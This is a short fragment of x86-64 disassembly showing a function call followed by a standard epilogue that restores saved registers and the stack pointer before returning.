call fcn.18001be70
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r12
pop rdi
pop rbp
ret